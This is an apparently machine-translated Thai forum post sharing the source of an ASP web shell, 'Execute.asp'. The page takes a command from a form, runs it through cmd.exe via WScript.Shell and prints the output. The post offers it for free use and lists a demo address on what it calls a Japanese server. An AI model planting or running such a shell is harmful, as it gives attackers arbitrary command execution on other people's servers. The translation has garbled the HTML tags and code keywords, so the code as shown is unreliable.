ล่าสุดฉันกำลังเขียนเครื่องมือการจัดการเซิร์ฟเวอร์ระยะไกล (ยืมส่วนหนึ่งของโค้ดจาก ASE และเพิ่มระยะไกล
ดำเนินการคำสั่ง อัพโหลด บริการ และฟังก์ชันอื่นๆ ) มี A Xin, ADAM, Chen'er, Ghost_happy,
ฉันรู้สึกประทับใจมากกับความช่วยเหลือจาก Crazybird และชาวเน็ตคนอื่นๆ ดังนั้นฉันจึงวางแผนที่จะโพสต์โค้ดต้นฉบับทั้งหมดหลังจากเขียนลงไป
เผยแพร่และอาจแก้ไขและแจกจ่ายได้อย่างอิสระ สิ่งที่คุณต้องทำคืออัพโหลดโปรแกรมไปยังเซิร์ฟเวอร์ที่เปิดใช้งาน ASP
เป็นที่น่าสังเกตว่า FileSystemObject จะต้องรองรับโปรแกรมจึงจะทำงานได้ ต่อไปนี้เป็นคำสั่งการดำเนินการระยะไกล
รหัสเดิม. คัดลอกและบันทึกเป็นExecute.asp
ที่อยู่สาธิต: http://210.160.4.24/scripts/execute.asp
มันเป็นเครื่องจักรของญี่ปุ่นที่ห่วยมาก ดังนั้นตัวอักษรจีนจะอ่านไม่ออก!
<html>
<หัว>
<meta http-equiv=เนื้อหาภาษาเนื้อหา=zh-cn>
<meta http-equiv=เนื้อหาประเภทเนื้อหา=ข้อความ/html;
<ชื่อเมตา=เนื้อหาเครื่องกำเนิดไฟฟ้า=Microsoft FrontPage 4.0>
<ชื่อเมตา=เนื้อหา ProgId=FrontPage.Editor.Document>
<title>ดำเนินการคำสั่ง</title>
<สไตล์>
-
ตาราง เนื้อความ { ตระกูลแบบอักษร: 宋体 ขนาดแบบอักษร: 9pt }
a{ ตระกูลแบบอักษร: 宋体;
การตกแต่งข้อความ: none }
a:hover{ ตระกูลแบบอักษร: 宋体; color: rgb(255,0,0);
-
a: เยี่ยมชม { สี: rgb (128,0,0) }
-
</สไตล์>
</หัว>
<body bgcolor=#000000 text=#C0C0C0>
<รูปแบบวิธีการ=การกระทำ POST=execute.asp>
<p align=left>ป้อนคำสั่งที่จะดำเนินการ: <input type=text name=ml
ขนาด=20 ค่า=dir c:/ style=สีพื้นหลัง: #C0C0C0; สี:
#000000; สไตล์เส้นขอบ: ทึบ;
<ประเภทอินพุต=ค่าส่ง=ชื่อดำเนินการ=สไตล์ B1=สีพื้นหลัง:
#C0C0C0; สี: #000000; ขอบ: 1 ร่อง #C0C0C0></p>
</แบบฟอร์ม>
-
ml=request.form(มล.)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'แก้ไข
พาธ whoamI.txt ไปยังไดเร็กทอรีที่มีสิทธิ์ในการเขียน
ตั้งค่า WshShell = Server.CreateObject(WScript.Shell)
RetCode = WshShell.Run(cmd, 1, จริง)
ถ้า RetCode = 0 แล้ว
Response.write ml &
ดำเนินการคำสั่ง Response.write สำเร็จแล้ว! &<br><br>
อื่น
การดำเนินการคำสั่ง Response.write ล้มเหลว! สิทธิ์ไม่เพียงพอหรือไม่สามารถรันโปรแกรมในสถานะ DOS ได้
- &<br><br>
สิ้นสุดถ้า
'response.write cmd'
ฟังก์ชั่น html เข้ารหัส (str)
ผลลัพธ์สลัว
สลัว l
ถ้าเป็น NULL(str) แล้ว
htmlเข้ารหัส=
ฟังก์ชั่นทางออก
สิ้นสุดถ้า
l=เลน(str)
ผลลัพธ์=
ดิมิ
สำหรับฉัน = 1 ถึงล
เลือกกรณีกลาง (str, i,1)
กรณี <
ผลลัพธ์=ผลลัพธ์+<
กรณี >
ผลลัพธ์=ผลลัพธ์+>
กรณี ch(34)
ผลลัพธ์=ผลลัพธ์+
กรณี&
ผลลัพธ์=ผลลัพธ์+&
กรณีอื่น
ผลลัพธ์=ผลลัพธ์+กลาง(str,i,1)
สิ้นสุดการเลือก
ต่อไป
htmlencode=ผลลัพธ์
ฟังก์ชั่นสิ้นสุด
ตั้งค่า fs = CreateObject (Scripting.FileSystemObject)
Set thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'อ่านไฟล์แล้วอย่าลืม
ปรับเปลี่ยนเส้นทาง
ตัวนับ=0
ทำในขณะที่ไม่ใช่ thisfile.atendofstream
ตัวนับ=ตัวนับ+1
thisline=htmlencode(thisfile.readline)
response.write thisline&<br>
วนซ้ำ
ไฟล์นี้ปิด
ตั้งค่า fs=ไม่มีอะไร
-
</ร่างกาย>
</html>